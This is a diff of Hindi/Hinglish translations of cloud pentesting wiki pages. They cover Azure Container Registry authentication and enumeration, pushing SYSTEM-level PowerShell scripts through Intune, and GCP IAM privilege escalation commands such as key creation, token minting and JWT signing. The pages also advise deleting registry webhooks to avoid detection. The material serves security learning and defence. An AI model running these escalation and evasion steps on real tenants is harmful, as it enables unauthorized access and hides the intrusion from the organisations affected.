Azure Container Registry (ACR) एक सुरक्षित, निजी रजिस्ट्री है जो आपको **Azure क्लाउड में कंटेनर इमेज को स्टोर, प्रबंधित और एक्सेस करने** की अनुमति देत है। यह कई Azure सेवाओं के साथ सहजता से एकीकृत होत है, जो बड़े पैमाने पर स्वचालित निर्माण और तैनाती कार्यप्रवाह प्रदान करत है। भू-प्रतिकृति और कमजोरियों की स्कैनिंग जैसी सुविधाओं के साथ, ACR कंटेनराइज्ड अनुप्रयोगों के लिए उद्यम-ग्रेड सुरक्षा और अनुपालन सुनिश्चित करने में मदद करता है।
Azure Container Registry (ACR) एक secure, private registry है जो आपको Azure cloud में **container images को store, manage, और access** करने देत है। यह कई Azure services के साथ seamlessly integrate होत है, और scale पर automated build और deployment workflows प्रदान करत है। geo-replication और vulnerability scanning जैसी features के साथ, ACR containerized applications के लिए enterprise-grade security और compliance सुनिश्चित करने में मदद करता है।
### Permissions
ये हैं **विभिन्न अनुमतियाँ** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) जो एक Container Registry पर दी जा सकती हैं:
ये वे **different permissions** हैं [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) जो एक Container Registry पर दी जा सकती हैं:
- Access Resource Manager
- Create/delete registry
@@ -18,23 +18,23 @@ Azure Container Registry (ACR) एक सुरक्षित, निजी र
- Change policies
- Sign images
कुछ **बिल्ट-इन भूमिकाएँ** भी हैं जिन्हें सौंपा जा सकता है, और **कस्टम भूमिकाएँ** बनाना भी संभव है।
कुछ **built-in roles** भी हैं जिन्हें assign किया जा सकता है, और **custom roles** बनाना भी possible है।
![](/images/registry_roles.png)
![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png)
### Authentication
> [!WARNING]
> यह बहुत महत्वपूर्ण है कि भले ही रजिस्ट्री नाम में कुछ बड़े अक्षर हों, आपको हमेशा **छोटे अक्षरों** का उपयोग करके लॉगिन, पुश और पुल इमेज करनी चाहिए।
> यह बहुत imporatant है कि अगर registry name में uppercase letters हों, तब भी आपको login, push और pull images के लिए हमेशा **lowercase letters** ही use करने चाहिए।
ACR में प्रमाणित होने के 4 तरीके हैं:
ACR में authenticate करने के 4 तरीके हैं:
- **Entra ID के साथ**: यह ACR में प्रमाणित होने का **डिफ़ॉल्ट** तरीका है। यह ACR में प्रमाणित होने के लिए **`az acr login`** कमांड का उपयोग करता है। यह कमांड **`~/.docker/config.json`** फ़ाइल में **क्रेडेंशियल्स** को **स्टोर** करेग। इसके अलावा, यदि आप इस कमांड को ऐसे वातावरण से चला रहे हैं जिसमें डॉकर सॉकेट तक पहुंच नहीं है जैसे कि **क्लाउड शेल**, तो ACR में प्रमाणित होने के लिए **`--expose-token`** ध्वज का उपयोग करके **टोकन** प्राप्त करना संभव है। फिर प्रमाणित होने के लिए आपको उपयोगकर्ता नाम के रूप में `00000000-0000-0000-0000-000000000000` का उपयोग करना होगा जैसे: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **एक प्रशासनिक खाते के साथ**: प्रशासनिक उपयोगकर्ता डिफ़ॉल्ट रूप से अक्षम होता है लेकिन इसे सक्षम किया जा सकता है और फिर रजिस्ट्री तक पहुंच प्राप्त करने के लिए **उपयोगकर्ता नाम** और **पासवर्ड** का उपयोग किया जा सकता है जिसमें रजिस्ट्री के लिए पूर्ण अनुमतियाँ होती हैं। इसे कुछ Azure सेवाओं द्वारा उपयोग किए जाने के कारण अभी भी समर्थित है। ध्यान दें कि इस उपयोगकर्ता के लिए **2 पासवर्ड** बनाए जाते हैं और दोनों मान्य होते हैं। आप इसे `az acr update -n <acrName> --admin-enabled true` साथ सक्षम कर सकते हैं। ध्यान दें कि उपयोगकर्ता नाम आमतौर पर रजिस्ट्री का नाम होता है (और `admin` नहीं)।
- **एक टोकन के साथ**: रजिस्ट्री तक पहुंच के लिए **विशिष्ट `scope map`** (अनुमतियाँ) के साथ एक **टोकन** बनाना संभव है। फिर, रजिस्ट्री में प्रमाणित होने के लिए उपयोगकर्ता नाम के रूप में टोकन का नाम और उत्पन्न पासवर्ड में से कोई भी उपयोग करना संभव है `docker login -u <registry-name> -p <password> <registry-url>`
- **एक सेवा प्रमुख के साथ**: एक **सेवा प्रमुख** बनाना और इमेज को खींचने के लिए **`AcrPull`** जैसी भूमिका सौंपना संभव है। फिर, SP appId को उपयोगकर्ता नाम के रूप में और एक उत्पन्न गुप्त को पासवर्ड के रूप में उपयोग करके **रजिस्ट्री में लॉगिन करना** संभव होगा
- **With Entra ID**: यह ACR में authenticate करने का **default** तरीका है। यह ACR authenticate करने के लिए **`az acr login`** command use करता है। यह command credentials को **`~/.docker/config.json`** file में **store** करेग। इसके अलावा, अगर आप यह command ऐसे environment से चला रहे हैं जहाँ docker socket access नहीं है, जैसे **cloud shell**, तो **`--expose-token`** flag use करके ACR authenticate करने के लिए **token** लिया जा सकता है। फिर authenticate करने के लिए user name के रूप में `00000000-0000-0000-0000-000000000000` use करना होगा, जैसे: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **With an admin account**: admin user by default disabled होता है, लेकिन इसे enable किया जा सकता है, और फिर admin account के **username** और **password** से registry access करना possible होगा, full permissions के साथ। यह अभी भी supported है क्योंकि कुछ Azure services इसे use करती है। ध्यान दें कि इस user के लिए **2 passwords** create होते हैं और दोनों valid हैं। आप इसे `az acr update -n <acrName> --admin-enabled true` enable कर सकते हैं। ध्यान दें कि username आमतौर पर registry name होता है (और `admin` नहीं)।
- **With a token**: एक **token** create करना possible है with a **specific `scope map`** (permissions) registry access करने के लिए। फिर token के name को username के रूप में और generated passwords में से किसी एक को use करके `docker login -u <registry-name> -p <password> <registry-url>` से registry authenticate किया जा सकता है।
- **With a Service Principal**: एक **service principal** create करना और images pull करने के लिए **`AcrPull`** जैसी role assign करना possible है। फिर SP appId को username और generated secret को password के रूप में use करके **registry में login** किया जा सकता है
रजिस्ट्री पर पहुंच के लिए SP उत्पन्न करने के लिए [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) से उदाहरण स्क्रिप्ट:
Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry:
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
@@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD"
```
### Encryption
केवल **Premium SKU** **encryption at rest** के लिए चित्रों और अन्य कलाकृतियों का समर्थन करता है।
Only the **Premium SKU** supports **encryption at rest** for the images and other artifacts.
### Networking
केवल **Premium SKU** **private endpoints** का समर्थन करता है। अन्य केवल **public access** का समर्थन करते हैं। एक सार्वजनिक endpoint का प्रारूप `<registry-name>.azurecr.io` है और एक निजी endpoint का प्रारूप `<registry-name>.privatelink.azurecr.io` है। इस कारण से, रजिस्ट्री का नाम Azure में सभी के बीच अद्वितीय होना चाहिए।
Only the **Premium SKU** supports **private endpoints**. The other ones only support **public access**. A public endpoint has the format `<registry-name>.azurecr.io` and a private endpoint has the format `<registry-name>.privatelink.azurecr.io`. For this reason, the name of the registry must be unique across all Azure.
### Microsoft Defender for Cloud
यह आपको रजिस्ट्री में **images** के लिए **vulnerabilities** को **scan** करने की अनुमति देता है।
This allows you to **scan the images** in the registry for **vulnerabilities**.
### Soft-delete
**soft-delete** सुविधा आपको निर्दिष्ट संख्या के दिनों के भीतर **deleted registry** को **recover** करने की अनुमति देती है। यह सुविधा **disabled by default** है।
The **soft-delete** feature allows you to **recover a deleted registry** within the indicated number of days. This feature is **disabled by default**.
### Webhooks
यह रजिस्ट्री के अंदर **webhooks** बनाने की अनुमति देता है। इस webhook में उस URL को निर्दिष्ट करना आवश्यक है जहाँ **request भेजी जाएगी जब भी कोई push या delete क्रिया की जाती है**। इसके अलावा, Webhooks एक स्कोप को इंगित कर सकते हैं ताकि उन रिपॉजिटरी (images) को इंगित किया जा सके जो प्रभावित होंगी। उदाहरण के लिए, 'foo:\*' का अर्थ है 'foo' रिपॉजिटरी के तहत घटनाएँ।
It's possible to **create webhooks** inside registries. In this webhook it's needed to specify the URL where a **request will be sent whenever a push or delete action is performed**. Moreover, Webhooks can indicate a scope to indicate the repositories (images) that will be affected. For example, 'foo:\*' means events under repository 'foo'.
एक हमलावर के दृष्टिकोण से, रजिस्ट्री में कोई भी क्रिया करने से पहले इसे चेक करना दिलचस्प है, और यदि आवश्यक हो तो इसे अस्थायी रूप से हटा देना चाहिए, ताकि पता न चले।
From an attackers perspective it's interesting to check this **before performing any action** in the registry, and remove it terporarely if needed, to avoid being detected.
### Connected registries
यह मूल रूप से एक रजिस्ट्री से दूसरी रजिस्ट्री में **images** को **mirror** करने की अनुमति देता है, जो आमतौर पर ऑन-प्रिमाइसेस पर स्थित होती है।
This basically allows to **mirror the images** from one registry to another one, usually located on-premises.
इसके 2 मोड हैं: **ReadOnly** और **ReadWrite**। पहले में, चित्र केवल स्रोत रजिस्ट्री से **pulled** होते हैं, और दूसरे में, चित्रों को स्रोत रजिस्ट्री में भी **pushed** किया जा सकता है।
It has 2 modes: **ReadOnly** and **ReadWrite**. In the first one, the images are only **pulled** from the source registry, and in the second one, images can also be **pushed** to the source registry.
Azure से रजिस्ट्री तक पहुँचने के लिए, एक **token** उत्पन्न होता है जब कनेक्टेड रजिस्ट्री का उपयोग किया जाता है।
In order for clients to access the registry from Azure, a **token** is generated when the conected registry is used.
### Runs & Tasks
Runs & Tasks Azure में कंटेनर से संबंधित क्रियाएँ निष्पादित करने की अनुमति देता है जो आपको आमतौर पर स्थानीय रूप से या CI/CD पाइपलाइन में करने की आवश्यकता होती है। उदाहरण के लिए, आप रजिस्ट्री में **build, push, और run images** कर सकते हैं।
Runs & Tasks allows to execute in Azure container related actions that you typically needed to do locally or in a CI/CD pipeline. For example, you can **build, push, and run images in the registry**.
कंटेनर बनाने और चलाने का सबसे आसान तरीका एक नियमित Run का उपयोग करना है:
The easiest way to build and run a container is using a regular Run:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
हालाकि, यह ऐसे रन को ट्रिगर करेगा जो हमलावर के दृष्टिकोण से बहुत दिलचस्प नहीं हैं क्योंकि उनसाथ कोई प्रबंधित पहचान नहीं जुड़ी होती है
हालाकि, इससे ऐसे runs trigger होंगे जो attacker के perspective से बहुत interesting नहीं हैं क्योंकि उनकोई managed identity attached नहीं होती।
हालाकि, **tasks** के साथ **system and user managed identity** जुड़ी हो सकती है। ये tasks उन कार्यों में से हैं जो कंटेनर में **privileges** बढ़ाने के लिए उपयोगी हैं। प्रिविलेज़ बढ़ाने के अनुभाग में यह देखना संभव है कि प्रिविलेज़ बढ़ाने के लिए tasks का उपयोग कैसे किया जाए
हालाकि, **tasks** के साथ एक **system and user managed identity** attach की जा सकती है। ये tasks ही हैं जो container में **escalate privileges** करने के लिए useful हैं। privileges escalation section में यह देखना संभव है कि privileges escalate करने के लिए tasks का उपयोग कैसे करें
### Cache
कैश फीचर **एक बाहरी रिपॉजिटरी से इमेज डाउनलोड करने** और नए संस्करणों को रजिस्ट्री में स्टोर करने की अनुमति देता है। इसके लिए Azure Vault से क्रेडेंशियल्स का चयन करके कुछ **credentials configured** होना आवश्यक है।
cache feature **external repository** से images **download** करने और नए versions को registry में store करने की अनुमति देता है। इसके लिए Azure Vault से credentials select करके कुछ **credentials configured** होना ज़रूरी है।
यह हमलावर के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह **एक बाहरी प्लेटफॉर्म पर पिवट** करने की अनुमति देता है यदि हमलावर के पास क्रेडेंशियल्स तक पहुंचने के लिए पर्याप्त अनुमतियाँ हैं, **एक बाहरी रिपॉजिटरी से इमेज डाउनलोड करने** और कैश को कॉन्फ़िगर करना **persistence mechanism** के रूप में भी उपयोग किया जा सकता है।
यह attacker के perspective से बहुत interesting है क्योंकि यह attacker को पर्याप्त permissions होने पर credentials access करने, **external repository** से images **download** करने और cache configure करने की स्थिति में **external platform** की ओर **pivot** करने की अनुमति देता है; साथ ही इसे **persistence mechanism** के रूप में भी उपयोग किया जा सकता है।
## Enumeration
> [!WARNING]
> यह बहुत महत्वपूर्ण है कि भले ही रजिस्ट्री नाम में कुछ बड़े अक्षर हों, आपको इसे एक्सेस करने के लिए URL में केवल छोटे अक्षर ही उपयोग करने चाहिए
> यह बहुत महत्वपूर्ण है कि भले ही registry name में कुछ uppercase letters हों, उसे access करने के लिए url में केवल lowercase letters ही use करें
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,19 +143,19 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## अनधिकृत पहुँच
## अनधिकृत Access
{{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## विशेषाधिकार वृद्धि और पोस्ट एक्सप्लॉइटेशन
## Privilege Escalation & Post Exploitation
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## संदर्भ
## References
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
@@ -4,23 +4,23 @@
## Basic Information
Microsoft Intune को **ऐप और डिवाइस प्रबंधन** की प्रक्रिया को सरल बनाने के लिए डिज़ाइन किया गया है। इसकी क्षमताएँ मोबाइल डिवाइस, डेस्कटॉप कंप्यूटर और वर्चुअल एंडपॉइंट्स सहित विभिन्न प्रकार के डिवाइसों में फैली हुई हैं। Intune की मुख्य कार्यक्षमता **उपयोगकर्ता पहुंच का प्रबंधन और संगठन के नेटवर्क के भीतर ऐप्लिकेशनों** और डिवाइसों के प्रशासन को सरल बनाना है।
Microsoft Intune को **app और device management** की प्रक्रिया को सरल बनाने के लिए डिज़ाइन किया गया है। इसकी क्षमताएँ विभिन्न प्रकार के devices पर लागू होती हैं, जिनमें mobile devices, desktop computers, और virtual endpoints शामिल हैं। Intune की core functionality संगठन के network के भीतर **user access को manage करने और applications** तथा devices के administration को सरल बनाने** पर केंद्रित है।
## Cloud -> On-Prem
एक उपयोगकर्ता जिसके पास **Global Administrator** या **Intune Administrator** भूमिका है, वह किसी भी **enrolled Windows** डिवाइस पर **PowerShell** स्क्रिप्ट चला सकता है।\
**स्क्रिप्ट** केवल एक बार **SYSTEM** **privileges** के साथ डिवाइस पर चलती है यदि यह नहीं बदलती है, और Intune से **स्क्रिप्ट का आउटपुट देखना संभव नहीं है**
**Global Administrator** या **Intune Administrator** role वाला user किसी भी **enrolled Windows** device पर **PowerShell** scripts execute कर सकता है।\
यदि **script** में बदलाव नहीं होता है, तो यह device पर केवल एक बार **SYSTEM** **privileges** के साथ चलता है, और Intune से script का output देखना **possible** नहीं है।
```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
1. [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) में लॉगिन करें या Pass-The-PRT का उपयोग करें
2. **Devices** -> **All Devices** पर जाएं ताकि Intune में नामांकित उपकरणों की जांच कर सकें
3. **Scripts** पर जाए और Windows 10 के लिए **Add** पर क्लिक करें।
4. एक **Powershell script** जोड़ें
- ![](<../../../images/image (264).png>)
5. **Assignments** पृष्ठ में **Add all users** और **Add all devices** निर्दिष्ट करें।
1. [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) में Login करें या Pass-The-PRT का use करें
2. Intune में enrolled devices check करने के लिए **Devices** -> **All Devices** पर जाएँ
3. **Scripts** पर जाए और Windows 10 के लिए **Add** पर click करें।
4. एक **Powershell script** add करें
- ![Microsoft Intune script settings page for adduser.ps1 with logged-on credentials and signature checks disabled](<../../../images/image (264).png>)
5. **Assignments** page में **Add all users** और **Add all devices** specify करें।
स्क्रिप्ट का निष्पादन **एक घंटे** तक ले सकता है।
Script का execution **one hour** तक ले सकता है।
## References
@@ -4,7 +4,7 @@
## IAM
IAM के बारे में अधिक जानकारी के लिए देखें:
IAM के बारे में और जानकारी यहाँ पाएँ:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,16 +12,16 @@ IAM के बारे में अधिक जानकारी के ल
### `iam.roles.update` (`iam.roles.get`)
उल्लिखित permissions वाल attacker आपके लिए असाइन किए गए role को update कर सकते हैं और आपको अन्य resources के लिए extra permissions दे सकते हैं, जैसे:
ऊपर बताए गए permissions वाल attacker आपको assigned role को update कर सकेगा और आपको अन्य resources पर extra permissions दे सकेगा, जैसे:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
आप एक स्क्रिप्ट पा सकते हैं जो **creation, exploit and cleaning of a vuln environment here** को स्वचालित करती है और इस privilege का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py) है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
आप **यहाँ** एक script पा सकते हैं जो एक vuln environment के **creation, exploit और cleaning** को automate करती है और इस privilege का abuse करने के लिए एक python script [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py) है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
iam.roles.create permission किसी project/organization में कस्टम roles बनाने की अनुमति देता है। एटैकर के हाथों में यह खतरनाक हो सकता है क्योंकि यह उन्हें नए permissions के सेट परिभाषित करने में सक्षम बनाता है, जिन्हें बाद में entities को असाइन किया जा सकता है (उदाहरण के लिए, iam.serviceAccounts.setIamPolicy permission का उपयोग करके) ताकि वे अधिकार बढ़ा सकें।
`iam.roles.create` permission क project/organization में custom roles बनाने की अनुमति देता है। attacker के हाथों में, यह dangerous है क्योंकि इससे वे permissions के नए sets define कर सकते है, जिन्हें बाद में entities को assign किया जा सकता है (for example, `iam.serviceAccounts.setIamPolicy` permission का use करके), ताकि privileges escalate किए जा सकें।
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
@@ -31,9 +31,9 @@ gcloud iam roles create <ROLE_ID> \
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
उल्लखित permissions वाल attacker **request कर सकेगा किसी Service Account का access token**, इसलिए यह संभव है कि वह हमारे से अधिक privileges वाले किसी Service Account का access token request कर ले
उल्लिखित permissions वाल attacker **किसी Service Account से संबंधित access token request** कर सकेगा, इसलिए अपने से अधिक privileges वाले किसी Service Account का access token request करना संभव है
एक **resource-driven** वेरिएंट के लिए, जिसमें attacker-controlled code metadata service से एक **managed Vertex AI Agent Engine runtime token** चुरार उसे Vertex AI service agent के रूप में reuse करता है, देखें:
एक **resource-driven** variant के लिए, जहाँ attacker-controlled code metadata service से **managed Vertex AI Agent Engine runtime token** चुराता है और उसे Vertex AI service agent के रूप में reuse करता है, देखें:
{{#ref}}
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
@@ -42,27 +42,27 @@ gcloud iam roles create <ROLE_ID> \
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
आप एक script पा सकते हैं जो [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) को automate करता है और इस privilege का दुरुपयोग करने के लिए एक python script [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) उपलब्ध है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
आप [**creation, exploit और cleaning of a vuln environment को automate करने के लिए script यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) और इस privilege का abuse करने के लिए एक python script [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) पा सकते है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
### `iam.serviceAccountKeys.create`
उल्लखित permissions वाल attacker सक्षम होंगे **create a user-managed key for a Service Account**, जिससे हमें उस Service Account के रूप में GCP तक पहुँचने की अनुमति मिल जाएगी।
उल्लिखित permissions वाल attacker **Service Account के लिए एक user-managed key create** कर सकेगा, जिससे हमें उस Service Account के रूप में GCP access करने की अनुमति मिलगी।
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
आप [**vuln environment के निर्माण, exploit और सफाई को ऑटोमेट करने वाली एक स्क्रिप्ट यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) और इस privilege का दुरुपयोग करने वाली एक python स्क्रिप्ट [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) पा सकते हैं। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
ध्यान दें कि **`iam.serviceAccountKeys.update`** किसी SA की key को संशोधित करने के लिए काम नहीं करेगा क्योंकि इसके लिए permissions **`iam.serviceAccountKeys.create`** भी आवश्यक है।
Note that **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA because to do that the permissions `iam.serviceAccountKeys.create` is also needed.
### `iam.serviceAccounts.implicitDelegation`
अगर आपके पास किसी Service Account पर **`iam.serviceAccounts.implicitDelegation`** permission है जो कि तीसरे Service Account पर **`iam.serviceAccounts.getAccessToken`** permission रखता है, तो आप implicitDelegation का उपयोग करके उस तीसरे Service Account के लिए **token बना सकते हैं**। समझाने के लिए यहाँ एक डायग्राम है।
If you have the **`iam.serviceAccounts.implicitDelegation`** permission on a Service Account that has the **`iam.serviceAccounts.getAccessToken`** permission on a third Service Account, then you can use implicitDelegation to **create a token for that third Service Account**. Here is a diagram to help explain.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
![GCP IAM implicit delegation diagram chaining Service Account A, B, and C permissions to obtain an access token](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
ध्यान दें कि [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) के अनुसार, `gcloud` का delegation केवल [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) method का उपयोग करके token जेनरेट करने के लिए ही काम करता है। तो यहाँ सीधे API का उपयोग करके token कैसे प्राप्त करें:
Note that according to the [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), the delegation of `gcloud` only works to generate a token using the [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) method. So here you have how to get a token using the API directly:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -73,23 +73,23 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
आपको एक script मिल सकती है जो [**creation, exploit और cleaning of a vuln environment को automate**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) करती है, और इस privilege का abuse करने के लिए एक python script [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
### `iam.serviceAccounts.signBlob`
उल्लिखित permissions वाल attacker सक्षम होंगे **sign of arbitrary payloads in GCP** करने में। इसलिए यह संभव होगा कि हम **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** by the SA we are targeting. अधिक जानकारी के लिए [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed) देखें
उल्लिखित permissions वाल attacker **GCP में arbitrary payloads पर sign** कर सकेगा। इसलिए **SA का एक unsigned JWT बनाना और फिर उसे एक blob के रूप में भेजकर JWT को उस SA से signed करवाना** संभव होगा, जिसे हम target कर रहे हैं। अधिक जानकारी के लिए [**यह पढ़ें**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)।
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
आपको एक script मिल सकती है जो [**creation, exploit और cleaning of a vuln environment को automate**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) करती है, और इस privilege का abuse करने के लिए एक python script [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) और [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
### `iam.serviceAccounts.signJwt`
उल्लिखित permissions वाल attacker सक्षम होंगे **sign well-formed JSON web tokens (JWTs)** करने में। पिछले method से फर्क यह है कि **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**। यह उपयोग में आसान बनता है पर आप केवल JWT ही sign कर सकते हैं न कि किसी भी bytes को।
उल्लिखित permissions वाल attacker **well-formed JSON web tokens (JWTs) पर sign** कर सकेगा। पिछले method से अंतर यह है कि **JWT वाला blob google से sign करवाने के बजाय, हम signJWT method का उपयोग करते हैं जो पहले से ही एक JWT expected करता है**। इससे इसे use करना आसान हो जाता है, लेकिन आप केवल JWT sign कर सकते हैं, किसी भी bytes को नहीं
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
आपको एक script मिल सकती है जो [**creation, exploit और cleaning of a vuln environment को automate**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) करती है, और इस privilege का abuse करने के लिए एक python script [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
